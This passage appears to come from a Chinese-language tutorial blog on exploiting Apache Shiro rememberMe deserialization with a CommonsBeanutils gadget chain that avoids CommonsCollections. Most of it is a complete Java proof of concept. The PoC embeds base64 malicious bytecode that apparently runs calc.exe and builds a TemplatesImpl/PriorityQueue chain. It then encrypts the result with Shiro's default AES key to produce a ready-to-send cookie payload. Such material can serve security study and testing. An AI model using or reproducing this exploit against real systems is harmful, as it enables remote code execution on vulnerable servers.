AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } public static Object getValue(Object obj, String filedname) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); return field.get(obj); } }
|

当remeberMe值发送时会报错加载不了ComparableComparator类
同时有个坑点就是当使用了与环境中不同版本的commons-beautils依赖编写POC时,发送poc会报错,需要相同的commons-beautils版本
发生上面的报错是因为ComparableComparator类是CC依赖里面的类,当我们创建BeanComparator对象是会调用它的构造函数:



此时就无法加载该类
所以我的思路就是comparator的值,不调用ComparableComparator类,即找一个Comparator接口类型的对象来替换ComparableComparator.getInstance(),且该类需要实现java.util.Comparator接口
由于需要进行序列化、反序列化过程,所以还需要实现java.io.Serializable接口
这里找到CaseInsensitiveComparator类:

而它的常量可以实例化该类
所以修改POC:
1
| BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
|

可运行时报错了,这是因为在调用add方法时,会调用offer方法:

在学CC2的时候就知道它会调用compare方法

这里调用的是java.lang.String$CaseInsensitiveComparator.compare方法,而该方法接受的是两个字符串,修改poc:
1 2
| queue.add("1"); queue.add("1");
|
最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.util.Comparator; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class test { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name","B1uel0n3"); setValue(templates,"_class",null); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2,beanComparator); queue.add("1"); queue.add("1");
setValue(beanComparator,"property","outputProperties");
Object[] queueArray=(Object[]) getValue(queue,"queue"); queueArray[0]=templates; queueArray[1]=1;
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } public static Object getValue(Object obj, String filedname) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); return field.get(obj); } }
|
